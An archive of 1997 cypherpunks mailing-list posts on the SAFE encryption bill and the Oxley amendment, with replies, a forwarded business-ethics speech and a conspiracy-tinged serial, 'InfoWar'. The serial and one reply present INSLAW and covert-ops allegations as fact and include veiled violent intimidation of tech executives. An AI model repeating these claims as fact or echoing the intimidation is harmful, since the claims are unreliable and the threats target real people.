The tide changed today when the Commerce committee
overwhelmingly defeated Oxley's amendment. In a 35-16 vote,
members rejected restrictions on manufacturing unapproved
encryption devices and instead approved a modified version
of Rep. Goodlatte's original Security and Freedom through
Encryption (SAFE) bill.

The vote came after a last-minute press by a diverse
coalition of industry groups, including some who had never
weighed in on crypto before, including the automobile
companies and the Baby Bells. (In fact, the Bells may have
been the deciding factor in defeating the measure.)

The version of SAFE the Commerce committee approved
includes: criminal penalties (doubled from the original)
for the use of encryption in a crime, a prohibition on
mandatory domestic key escrow, delinking certificate
authorities from key escrow requirements, a "NET" center to
coordinate law enforcement codebreaking, a classfied study
to be conducted by the Attorney General, a NIST study on
crypto, and liability limitations on firms providing key
recovery. It also includes SAFE's original export
relaxation on encryption products that are already
available overseas or are in the public domain.

Many of those changes were proposed by Reps. Markey and
White, who had their amendment approved 40-11. The amended
bill was approved out of the committee by a 44-6 vote.

(One lobbyist just leaned over, martini in hand, and asked
me, "Do you need a quote, Declan?" //sigh//)

Today's discussion before the committee was all about
compromise -- which, after all, shouldn't be surprising.
Washington politicians thrive on it. If politics is the art
of the possible, compromise is its lifeblood. But to the
chagrin of politicans, staffers, and bureaucrats alike, the
politics of encryption doesn't provide one. Either you use
backdoored crypto or you don't. Either you have unalloyed
privacy or you don't. There's no middle ground.

Of course it's one thing to compromise on tax bills or
spending measures. That's not only expected, it's
necessary. But it's another thing entirely to compromise on
a bill that deals with fundamental freedoms.  How many
newspapers is it acceptable for the government to review
and censor before publication? How many Americans can be
imprisoned without a public trial? Sometimes, including
now, Americans should stand on principle and reject that
any and all "compromises." A coalition of groups from the
American Civil Liberties Union to the Eagle Forum sent out
just that letter earlier today.

Those groups understand what high tech firms have been slow
to realize: Congress will not, and cannot, approve a bill
that benefits crypto-liberty. Right now there are no
domestic controls on encryption. After Congress passes a
bill, that will surely change. The crypto-in-a-crime
provisions are destined to stay in. When crypto becomes
omnipresent, Congress might just as well punish you for
speaking Spanish in the commission of a crime.

(By now the lobbyists are drunk. One just leaned over,
laughing excitedly, and yelled in my ear: "Cold fusion
still doesn't work!" Huh? Whatever. Seriously, folks, I do not
make this stuff up. Another fellow says the quote of the
day is: "The FBI tried to take the country hostage.")

Anyway, today firms saw their arguments used against them.
For years companies have testified before Congress that crypto
was readily available at the corner software store. One
Congressman recently even waved around a shrinkwrapped copy
of Lotus Notes as a prop. At last the techno-impaired
members of the House Commerce committee have realized that
strong crypto was available through a point-and-click
download (or for $19.95). But instead of allowing the
//overseas// distribution of encryption, they instead came
close to banning the //domestic// distribution.

By now even the more censorhappy members of Congress are
sick and tired of hearing about pedophiles and child
pornographers and molesters and such. Even the
druglords-wielding-crypto claims pales after a while -- at
least if you've heard it 17 times in the past few weeks. So
today Rep. Oxley whipped out his trump card: if you don't
vote for my amendment, you'll get blown up! "How about some
terrorist orgainztion acting with impunity because they
have the ability to communicate with impunity gets a hold
of a Russian nuclear device and threatens to blow up the
Capitol of the United States?"

In the end, Oxley's amendment didn't carry the day. It was of
course almost entirely the successful lobbying -- and if
firms can't win in the //Commerce// committee, where can they
win? -- but to their credit, some Congressmen actually talked
about the Constitutional issues involved. "This is about our
liberty and how far we will go in protecting our liberties,"
said Rep. Rogan, a former prosecutor and judge who spoke
against Oxley.

The future, however, is uncertain. The bill now goes to the
House Rules committee, whose chairman said today in a
strongly-worded letter that he'd only allow a bill to go to
the floor if it included Oxley's amendment. Look for a hell
of a lot of behind-the-scenes lobbying on this now...

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 25 Sep 1997 13:28:35 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Crypto-victory in Commerce; Oxley talks about nuking Congress
In-Reply-To: <v03007801b04f6fd3f0ab@[204.254.21.43]>
Message-ID: <v03102800b04fa45ab1d1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:37 PM -0700 9/24/97, Declan McCullagh wrote:

>least if you've heard it 17 times in the past few weeks. So
>today Rep. Oxley whipped out his trump card: if you don't
>vote for my amendment, you'll get blown up! "How about some
>terrorist orgainztion acting with impunity because they
>have the ability to communicate with impunity gets a hold
>of a Russian nuclear device and threatens to blow up the
>Capitol of the United States?"

Sounds to me like Oxley is presaging the Reichstag Fire.

And since his work buddies in Covert Ops are probably the ones supplying
the NDTs from Kazikstan to the freedom fighters, his foreshadowing may be
significant.

A good time to get out of Dodge.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 25 Sep 1997 10:48:00 +0800
To: cypherpunks@toad.com
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <v03007803b04f44c3de03@[204.254.22.38]>
Message-ID: <3.0.3.32.19970924223100.03601a28@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:15 PM 9/24/97 -0700, Lizard wrote:
>Though, on second thought, there is a serious issue with it -- if, as 
>we hope, encryption becomes widespread, than anyone doing anything 
>will be using it;including 'in the commission of a crime'. This could 
>make petty misdemeanors into 20 year federal crimes, and THAT is 
>something to worry about. Hm.

While this provision (that criminalized the use of crypto in a crime) of
the original SAFE bill was a "bad thing" I personally thought that much of
the rest of the bill was ok and had some demented hope that this bad spot
could be fixed next year.  No one needs to say "I told you so."  Things
obviously have gone downhill.

The state of Georgia has a similar provision.  There is a law that makes it
a crime to use a "telecommunications facility".  As I recall, it is a
felony and applies to drug charges.  The Georgia courts routinely give
people an extra five years for selling drugs through a phone call and for
what I suspect was the original intent of the law, a beeper.

In Georgia the presence of a beeper is synonymous with drug sales.  At
least with law enforcement agencies.  Probationers and parolees are not
allowed to "report" to their supervising agent if they are wearing a
beeper.  For police, the presence of a beeper on a person is reason to
suspect drugs.

I'm sure that we have the possibility of crypto becoming the same thing.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Brock <hrast@flash.net>
Date: Thu, 25 Sep 1997 11:51:51 +0800
To: "'cypherpunks@cyberpass.net>
Subject: Re: Oxley Amendment
Message-ID: <01BCC93A.D0869BA0@dasc12-105.flash.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I wonder if Mr. Solomon of NY will rethink his decision to not bring 
up SAFE without Oxley to the entire House after the unprecedented 
coaltion of companies and individual groups that came together to 
make sure that mandatory key recovery stays a "1984" like dream.   I 
find it incomprehensible that one man, would block the introduction 
of this bill, after it being proved that this is what his 
constituents want....


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Version: PGP for Personal Privacy 5.0
Charset: noconv

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cAljqiyA7E8TNF5wvdKwVBXz
=bsvt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 25 Sep 1997 14:01:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Oxley Amendment
Message-ID: <v03007800b04fa86af0f9@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



>The future, however, is uncertain. The bill now goes to the
>House Rules committee, whose chairman said today in a
>strongly-worded letter that he'd only allow a bill to go to
>the floor if it included Oxley's amendment. Look for a hell
>of a lot of behind-the-scenes lobbying on this now...
>
>-Declan

What's the path?  Given the multiple committees, is there a prescribed
sequence or do they work in parallel?

What about the Senate bills?  Suppose Solomon allows SAFE to go to the
floor.  Does SAFE need to be reconciled somehow with any Senate bill?
Could Oxley's amendment could be made on the floor, with little or no
warning?  In some sort of conference committee?

I'd love to see a simple map/diagram of all the inflection points where the
FBI/NSA forces can further twist SAFE.  Call it morbid curiosity.  Last
year's model was bad, and it's only gotten worse.

Lee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 25 Sep 1997 12:12:33 +0800
To: cypherpunks@cyberpass.net
Subject: Ethics in the Free Market
Message-ID: <v0311072cb04f86ba93f8@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



Three laws of business: Reputation, Reputation, and Reputation...

:-).

Cheers,
Bob Hettinga

--- begin forwarded text


Date: Wed, 24 Sep 1997 15:53:21 -0400
Subject: Ethics in the Free Market
From: "CIPE-Announce" <cipe-announce@mail.cipe.org>
To: CIPE-Announce@mail.cipe.org
Mime-Version: 1.0
Reply-To: CIPE-Announce@mail.cipe.org
Precedence: Bulk


===================================================================
Summary of Mr. Kanaga's Speech in Bucharest - May 1997
"Ethical Conduct is The Basic Need of a Free Market Economy"
-------------------------------------------------------------------

For all of those countries emerging from a period of totalitarian control
of business, a valuable part of the lesson on the move to free market
economies is the discovery that "free markets" do not mean that "freedom
for anything goes."

Governments can promote market reform, privatize government-controlled
business, and institute positive private investment regulations,  but
those steps alone are insufficient to achieve sustained growth and spur
inflow of foreign private investment.

The keys in my opinion are to establish high ethical standards of conduct
for business and to create an atmosphere of trust and confidence among all
members of the business community.

Those two factors have been the foundation for success in those areas of
the world that I have observed in over forty years of experience in the
private sector of the business community.

History proves this point.  The countries with the highest ethical
standards have attracted the most investment, while those with the lowest
standards and with widespread corruption have received the least.

In the latter environment, all members of society are losers.  Business
loses as the public perceives profits as ill-gotten gain, while lack of
trust between business executives creates suspicion in the simplest
transaction.  Government and the democratic process also lose as the
public's faith in institutions and the rule of law is further eroded every
time the disclosure of bribe or other scandal erupts.  Most importantly,
ordinary people lose as the promise of democracy and the wealth that
initiative could create fail to materialize.

Strong ethics are essential to businesses.  The entire free-market system
is built on trust.  Every time a contract is signed or a consumer
purchases a product, an extension of good faith is made.  If a
businessman breaks his word or knowingly sells a faulty product or
service, that extension of trust is broken.  In looking back on my years
in business, my days were filled with verbal assurances, rarely written
contracts, that individuals would do what he and she they would do.  And
there was trust that it would be so.  Human beings do fail in this
process but the cost effectiveness of doing business this way is clear.

The US stock market provides a good example of the critical role that
trust plays.  It is by far the largest stock market in the world.  Why?
It achieved this stature because investors put their money at the
disposal of distant managers with the confidence that they can be
trusted and that they will wisely invest the funds entrusted to them.
To be sure, there have been situations where that confidence was
misplace; such failures resulted in a strong push to develop corporate
codes of conduct.  But those failures have been minor blips in the total
picture or people would not continue to invest in that stock market.

Corporate codes of conduct, however, will only be worth the paper on
which they are written if the leadership ignores them.  If the leaders of
the business community don't live up to the twin principles of honesty
and integrity, those that work with those individuals will not.

This is an essential ingredient within a single company.  In order to make
its code of conduct an effective tool, the company's leadership has to
live up to it.  If by his or her own demeanor the chief executive
communicates that the code is unimportant, everyone in the organization
will think the same.  By contrast, the whole atmosphere in an organization
changes overnight when management makes it clear that it expects strict
adherence to its code of conduct.

Another important point to keep in mind is that codes of conduct that work
in one country will not necessarily work in another.  Reforming
governments must set their own standards in accordance with their
country's business practices, rules and regulations.

However, in my view, there is a golden opportunity in the countries of
Eastern and Central Europe to achieve strong progress if they stand tall,
and deal honorably with one another and trust one another.  It is
encouraging that reforming governments, such as we heard earlier in this
meeting from Romania's leadership, are recognizing this critical factor.
Earlier this year, its president and prime minister affirmed on the public
record that eliminating government corruption and setting high standards
of conduct are key priorities.

If there isn't a fundamental trust between people, they will try to
substitute excessive documentation for that lack of trust.  It has been
my experience here in Eastern Europe and in Russia and the Ukraine that
in the 1980s and before people assembled massive files on the simplest
matters to protect themselves.  The result was not only a delay in
execution of transactions but a terrible waste of time and money.

The government cannot legislate integrity and honesty.  The leadership in
the business community, entrepreneurs and corporate managers alike, must
demonstrate those qualities every day to make them the business norm.
Each individual business executive-and the organization to which he or she
belongs - must lead by example.  And government must clearly indicate that
it will not tolerate corruption within its own ranks or within the
business community.


-------------------------------------------------------------------------
William S. Kanaga is the Chairman of the Center for International Private
Enterprise and former Chairman of Arthur Young.
-------------------------------------------------------------------------



--------------------------------------------------------------------------
ABOUT THE CENTER FOR INTERNATIONAL PRIVATE ENTERPRISE
--------------------------------------------------------------------------

The Center for International Private Enterprise (CIPE) was established in
1983 as an affiliate of the US Chamber of Commerce in Washington, DC. Its
mission is to promote private enterprise and market-oriented economic
reform around the globe by matching funds with a variety of local
institutions in emerging democracies, including think tanks, business
associations, educational institutions, and media training programs -- the
building blocks of democratic society.  Over 400 projects in more than 70
countries have been sponsored by CIPE since its inception.  CIPE is
supported by the National Endowment for Democracy, the US Agency for
International Development and private sources.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Thu, 25 Sep 1997 12:45:04 +0800
To: "'cypherpunks@cyberpass.net>
Subject: Re: Oxley Amendment
Message-ID: <199709250439.AAA12548@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/24/97 11:40 PM, Michael Brock (hrast@flash.net)  passed this
wisdom:

>I wonder if Mr. Solomon of NY will rethink his decision to not bring 
>up SAFE without Oxley to the entire House after the unprecedented 
>coaltion of companies and individual groups that came together to 
>make sure that mandatory key recovery stays a "1984" like dream.   I 
>find it incomprehensible that one man, would block the introduction 
>of this bill, after it being proved that this is what his 
>constituents want....


  ... since when did the will of the constituency ever have more than
a minor influnce on a congress-critter???

 ..... hmmmmm ... can you spell Jesse Helms ????

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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCnof8dZgC62U/gIEQLTEgCeMK9gz7Xfhc8/DylY7dAh5SKQtvUAoJ0t
yWg6yvYguskILFBPepNoTgWV
=OXqF
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
   For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Everyone who lives dies; but not everyone who dies has lived"
    -- back of a 'No Fear' t-shirt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Kelsey" <kelsey@plnet.net>
Date: Thu, 25 Sep 1997 13:55:01 +0800
To: "cypherpunks" <cryptography@c2.net>
Subject: news story in the SD Daily Transcript
Message-ID: <199709250549.AAA00069@email.plnet.net>
MIME-Version: 1.0
Content-Type: text/plain



Some of you might find an article in the San Diego Daily Transcript (I
think
it will appear tomorrow in the print version; it's up now at their website)
interesting.
It's an article about today's moderately good news from Congress, and I'm
quoted extensively in it.  (The reporter is an old friend of mine, and he
knows
what I do for a living, so he called me for a quote.)   It's currently at

http://www.sddt.com/files/library/97headlines/09_97/DN97_09_24/DN97_09_24_tb
c.html

and I *think* they will keep it up for a while.  

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Thu, 25 Sep 1997 15:17:11 +0800
To: cypherpunks@toad.com
Subject: InfoWar 20 (Part III of 'The True Story of the InterNet')
Message-ID: <342A0A5F.7101@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

A Billionaire To Be Named Later



A Billionaire To Be Named Later


"Did you notice the way 'Mojave' was misspelled?"
the Shadow asked the Rich Man.

Bad BillyG nodded slowly, looked up at the Shadow and said, "I
also noticed that he used the 'replay' remailer and spoke of 'deja
vu.'"

"Indio?" the Shadow asked Bad BillyG, not having
to wait for his confirmation to know that the anonymous writer
was referring to the Wackenhut/Cabazon weapons fencing operation.

"I've got someone checking the physical site as we speak,"
BillyG told the Shadow, "but I think it's obvious
that the references to Lefty and the tassel-haired young woman
firing a shotgun with one hand means that these people recreated
an event that happened over a decade and a half ago, only..."

Bad BillyG paused to swallow, "...only this
time, the targets are us, not them."


The Shadow and his earthly compatriot turned their attention to
the anonymous post, once again, confirming what they already knew,
and scanning for more details of the writers veiled message, therein.

Subject: Not-News Gorilla NutWork Rocket-Launched
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
To: cypherpunks@toad.com

[Not-News NetWork-- Mohave Desert] Aug 4/97

WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE?
- sog

The "Not-News Gorilla NutWork" was rocket-launched in
the Mohave Desert
early yesterday morning by a rag-tag bunch of paramilitarist computer

gurus who unveiled an InterNet Bill of Bytes that included the
words, 
"MicroSoft shall make no laws..."

Angered by a self-appointed council of computer industry magnates
who
have announced their intention to seize fascist control of the
quickly
burgeoning Information Highway by controlling the definition of
all
information, the rebels set up a shooting range which contained
a wide
variety of targets ranging from copies of the Wall Street Journal
to
life-sized cardboard cut-outs of a hooded figure referred to only
as,
"a billionaire to be named later."

A Che Guerva look-alike named Lefty (a nickname changed from "Lucky"

after a laboratory accident took three of the fingers on his right

hand) spoke openly about the group's loose-knit plans to impose
their
own ratings system on corporations who have "taken it upon
themselves
to decide what is news and what is not--what is information and
what
is obscenity." 

"We have decided on two classes of ratings." explained
a tassel-
haired young woman as she slid shells into a Winchester Defender

sitting on her lap. "On..." she said, lifting the shotgun
with one
hand, then liberating the hooded head from a nearby cardboard
cut-out,
before turning back to say, with a Cheshire grin, "...and
off."

The wide array of luxury automobiles and high-end computer gear
on
display at the gathering lent credence to the claim of a quiet
older
man whose only comment during my presence was, "The people
here
probably have a combined access to more soft targets than the
NSA."
He turned to punctuate his statement, as many others did that
day,
with a volley of fire that penetrated targets carrying the corporate

logos of a variety of big-name players in the computer industry.

Surprisingly, the conversation consisted almost totally of issues

surrounding privacy, self-determination and freedom from censorship,

with hardly a word being spoken about potential plans of action
by
individuals or the group. As the quiet man's equally quiet wife

spoke in what seemed to be a deathly whisper, telling me, "Everyone

here knows what they have to do.", a man with a crude, homemade

rocket-launcher sent a flaming projectile into the side of a small

propane tank several hundred feet away, as if punctuating the
last
and most meaningful statement of the day.

After quietly dispersing a few minutes later, the group packed
up
their weapons and climbed into their vehicles without a word between

them, each seemingly going their own separate ways.

I stayed on after the last of the others had left, reflecting
on the
fact that I had arrived at this gathering by virtue of a late-night

phone call to my unlisted number, and found that I knew none of
the
participants in the activities.

I had the strangest feeling that the others there had arrived
by the
same anonymous process as I had, and I wondered if they were equally

mystified as to who had arranged this impromptu assembly of apparent

strangers joined in a common cause. Immediately, one of the pickup

trucks driving away backfired, and I thought of synchronicity,
knowing
that the truck would backfire once again, which it immediately
did, 
before disappearing quietly out of sight.

Climbing into my own vehicle, I took a last look at the site,
which
had been cleaned and left exactly the way it was when I had first

arrived on the scene. I experienced a moment of deja vu, as if
I had
just arrived and none of what I had experienced that day had truly

transpired.

Somewhere in the distance, a vehicle backfired...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer - I am not a reporter, I am not a paramilitarist, and
I am
not a computer expert. I have no idea what I was doing there and
I am
not even certain that I should be speaking about the event...but
I am.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



A Player To Be Named Later put down the 'Not-News Gorilla NutWork
Rocket-Launched' post and scanned portions of the INSLAW/Octopus
report from NaziWorld, once again.

The INSLAW Octopus
Software piracy, conspiracy, cover-up, stonewalling,
covert action: Just another decade at the Department of Justice

By Richard L. Fricker
...
But prior to his arrest in 1991, Riconosciuto provided the
Hamiltons with an affidavit that once again brought Brian into
the Inslaw picture. "I engaged in some software development
and modification work in 1983 and 1984 on proprietary PROMIS computer
software product," he stated. "The copy of PROMIS on
which I worked came from the US Department of Justice. Earl W.
Brian made it available to me through Wackenhut (a security company
with close FBI and CIA connections) after acquiring it from Peter
Videnieks, who was then a Department of Justice contracting official
with the responsibility for PROMIS software. I performed the modifications
to PROMIS in Indio, Calif.; Silver Springs, Md.; and Miami, Fla."

The modifications included a telecommunications "trap door"
that would let the US Government eavesdrop on any other organization
using the pirated software, Riconosciuto said.

...

Although Brian denies any involvement with Inslaw or Riconosciuto,
the House Judiciary Committee received a report from a special
task force of the Riverside County, Calif., Sheriff's Office and
District Attorney, stating that on the evening of Sept. 10, 1981,
arms dealers, buyers and various intelligence operatives gathered
at the Cabazon Indian Reservation near Indio, Calif., for a demonstration
of night warfare weapons. The demonstration was orchestrated jointly
by Wackenhut and the Cabazon Indian tribe. (Many published reports
allege that the Wackenhut/Cabazon joint venture served as a weapons
fencing operation for Oliver North's Iran- Contra dealings.) 


Bad BillyG involved in that mess?
A Player To Be Named Later shook his head negatively, to himself.
It seemed unlikely, but it would explain a few things which
had been troubling him, lately. And it would mean that the anonymous
poster knew enough intimate details of an event that had been
shrouded in deep secrecy to pose a threat to all those connected
with the Indio affair.
It would also explain the apparently strange ending to a major
play by the news and computer industry heavyweights calling themselves
the 'Internet Content Coalition' that the anonymous post seemed
to be threatening.

For starters, Microsoft made an immediate about-face, within hours
of the anonymous post, on their plans to include technology supporting
the Internet Content Coalition's aims in their next version of
Internet Explorer.

From - Wed Aug 06 19:31:05 1997
From: nobody@neva.org (Neva Remailer)
Subject: MicroGorilla Postpones Rocket-Launch Plans Until..."likely
sometime next year."

>Anonymous wrote:
> > The "Not-News Gorilla NutWork" was rocket-launched
in the Mohave Desert
> > early yesterday morning by a rag-tag bunch of paramilitarist
computer
> > gurus who unveiled an InterNet Bill of Bytes that included
the words,
> > "MicroSoft shall make no laws..."

Steven Vonder Haar wrote, the very next day:
> Microsoft Corp. has tabled plans to include new technology
in its
> Internet Explorer 4.0 browser that would have made "news"
oriented
> sites exempt from content rating standards promoted for use
on the
> Internet.

>Anonymous wrote:
> > Angered by a self-appointed council of computer industry
magnates who
> > have announced their intention to seize fascist control
of the quickly
> > burgeoning Information Highway by controlling the definition
of all
> > information, the rebels set up a shooting range which
contained a wide
> > variety of targets ranging from copies of the Wall Street
Journal to
> > life-sized cardboard cut-outs of a hooded figure referred
to only as,
> > "a billionaire to be named later."

Steven Vonder Haar wrote, the very next day:
> RSAC President C. Dianne Martin said Microsoft is running
out of time
> to implement the separate designation for news sites before
the launch
> of the 4.0 version of Explorer later this year.

>Anonymous wrote:
> > "We have decided on two classes of ratings."
explained a tassel-
> > haired young woman as she slid shells into a Winchester
Defender
> > sitting on her lap. "On..." she said, lifting
the shotgun with one
> > hand, then liberating the hooded head from a nearby
cardboard cut-out,
> > before turning back to say, with a Cheshire grin, "...and
off."

Steven Vonder Haar wrote, the very next day:
> However, the company
> plans to include the news designation in the 5.0 version
of Explorer
> when it is made available..."likely sometime next year."


There wasn't much doubt that 'Nobody' was pointing out to one
and all that the Internet Content Coalition was under siege, and
that the opening salvo by 'Anonymous' had brought the largest
corporation in history to its knees, in surrender.
A bold claim, but would this declaration of war in the battle
of the giants to seize control of the official reigns of news
and information on the InterNet be backed up in the end, by across
the board results?

A Player To Be Named Later pored over a FreeAmerica report on
the resurrection of the Inslaw ghosts in the mid-1990's.
Federal Corruption
INSLAW 
Copyright FreeAmerica and Harry V. Martin, 1995

Congressman Jack Brooks of Texas has opened a new investigation
into the INSLAW case. Brooks is investigating allegations that
Justice Department officials, including Meese, conspired to force
INSLAW into bankruptcy in order to deliver the firm's software
to a rival company. The rival firm, according to court records
and law enforcement officials, was headed by Earl W. Brian, a
former Cabinet officer under then California Governor Ronald Reagan
and a longtime friend of several high-ranking Republican officials.


[Earl W. Brian! Who had seized control of United Press International
(UPI) in a deal every bit as shady as the Inslaw affair...]
On March 21, 1992, [Michael] Riconoscuito stated in an affidavit
to the Court and Congress, and before he was arrested, the following:

During the 1980s he served as the Director of Research for
a joint venture between the Wackenhut Corporation of Coral Gables,
Florida, and the Cabazon Band of Indians of Indio, California.
The joint venture was located on the Cabazon reservation. 

[Near the Salton Sea, a long-time haunt of the Author, who
brought a strange variety of computer gurus to the area, purportedly
for Corvina fishing, but what was the real story about
their travels there?]
The Wackenhut-Cabazon joint venture sought to develop and/or
manufacture certain materials that are used in military and national
security operations, including night vision goggles, machine guns,
fuel- air explosives, and biological and chemical warfare weapons.
The Wackenhut-Cabazon joint venture was intended to support
the needs of a number of FOREIGN governments and forces, including
forces and governments in Central America and the Middle East.
The Contras in Nicaragua represented one of the most important
priorities for the joint venture.
The Wackenhut-Cabazon joint venture maintained close liaison
with 'certain elements' of the United States Government, including
representatives of intelligence, military and law enforcement
agencies.
Among the frequent visitors to the Wackenhut-Cabazon joint
venture were Peter Videnieks of the U.S. Department of Justice
in Washington, D.C., and a close associate of Videnieks by the
name of Earl W. Brian. Brian is a private businessman who lives
in Maryland and who has maintained close business ties with the
U.S. intelligence community for many years. 
The purpose of the PROMIS software modification that I made
in 1983 and 1984 was to support a plan for the implementation
of PROMIS in law enforcement and intelligence agencies worldwide.
Earl W. Brian was spearheading the plan for this worldwide use
of the PROMIS computer software. 
Some of the modifications that I made were specifically designed
to facilitate the implementation of PROMIS within two agencies
of the Government of Canada: the Royal Canadian Mounted Police
(RCMP) and the Canadian Security and Intelligence Service (CSIS).
Earl W. Brian would check with me from time to time to make certain
that the work would be completed in time to satisfy the schedule
for the RCMP and CSIS implementations of PROMIS.

[The RCMP and CSIS...the same entities that the Author had
shared a Russian language class with in Regina, Saskatchewan,
just before the Moscow Olympics. Who had he encountered in that
group who would later be instrumental in acquiring the PROMIS
software for the Canadians?]
The propriety version of PROMIS, as modified by me, was, in
fact implemented in both the RCMP and the CSIS in Canada. It was
my understanding that Earl W. Brian had sold this version of PROMIS
to the Government of Canada. 

A Player To Be Named Later suddenly remembered the email to the
CypherPunks mailing list and the corporate headquarters of the
Internet Content Coalition that had been forwarded from the LMBoyd
Website, which was known to be a forum for the Circle of Eunuchs
to send veiled messages to set the stage for their more pointed
attacks on the Dark Forces.
It was an email that was sent out when the dark specter of the
Internet Content Coalition first began to flex their muscles.

From - Fri Jul 25 19:38:14 1997
Subject: Sampler: July 25
To: multiple recipients of <sampler@lmboyd.com>
======================================================
The serial killer does in one person at a time in
intervals. The mass killer murders however many in a
single mad rampage. The mass killer is usually suicidal.
The serial killer isn't.
...
Q. Does any animal deliberately stalk human beings for
food?
A. None but the polar bear. At least, such is the claim
of the experts.
======================================================
LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email

http://www.LMBoyd.com/postscript.htm

"Of course!"

A Player To Be Named Later slapped his forehead, amazed that he
had not seen the connection sooner between the 'mass murderer,
serial killer stalking humans from the North' email, the Not-News
threat singling out "a billionaire to be named later,"
and the email sent to the Internet Content Coalition players just
before they held the meeting where they effectively folded their
hand in their attempt to take over control over defining what
was 'official' news on the InterNet, and what was not.

He reread, once again, the anonymous post sent just hours before
the Internet Content Coalition's grand agenda bit the dust:

"In July, Anson Ng, a reporter for the Financial Times
of London 
was shot and KILLED in Guatemala. He had reportedly been trying

to interview an American there named Jimmy Hughes, a one-time

director of security for the Cabazon Indian Reservation secret
projects.
"In April, a Philadelphia attorney named Dennis Eisman was
found 
DEAD, killed by a single bullet in his chest. According to a former

federal official who worked with Eisman, the attorney was found
dead 
in the parking lot where he had been due to meet with a woman
who 
had crucial evidence to share substantiating Riconosciuto's claims.

"Both Eisman's and Ng's deaths were declared 'suicides' by

authorities.
"Fred Alvarez, a Cabazon tribal leader who was in vocal opposition

to the developments on the reservation, was found SHOT TO DEATH

WITH TWO FRIENDS in 1981. Their murder remains unsolved.


At last, the whole bizarre, implausible scenario finally came
together in A Player To Be Named Later's mind.

The Author's presence near the belly of the beast in Indio had
not been a mere coincidence. When the Internet Content Coalition
made their move, the Circle of Eunuchs already had the information
they needed to connect several of the players in the proposed
news cartel with the trail of deaths surrounding both those involved
in the INSLAW debacle and the reporters closing in on the real
story involved.
And they had made it more than plain that some of those involved
in the Wackenhut-Cabazon arms deals were now playing for the opposition...and
that bullets don't discriminate between the rich and the poor.

A Player To Be Named Later was still mystified as to how the Magic
Circle had been able to pull off such a bold, in-your-face maneuver
on some of the Titans of the news and computer industries.
In the early days, after the dissemination of "The Xenix
Chainsaw Massacre" had begun in 1989, the Circle of Eunuchs
had come under fierce attack from a variety of sources from within
the secret government hunting them. Mysterious deaths, established
careers going up in flames, overnight. The Magic Circle had quickly
disappeared far into the underground of computer society.
Then, the Circle had begun to show their hand, more and more,
now reaching the point where they could apparently do battle with
the heavyweights working behind the scenes with Gomez and the
Dark Allies. But A Player To Be Named Later hadn't seen any indication
that the Circle of Eunuchs had managed to gain possession of a
hole-card that could account for...unless...

"Casolaro!" A Player To Be Named Later whispered,
as if speaking the name aloud might bring down fire from the heavens.
Quickly, he did a disk search for a vaguely remembered article
from Conspiracy Nation...

Forwarded:
From the Patriot Archives ftp site at: ftp://tezcat.com/patriot

Conspiracy Nation -- Vol. 3 Num.


("Quid coniuratio est?")

THE OCTOPUS
===========
By Karen Bixman
(For The People *News Reporter*, 11/14/94)
...
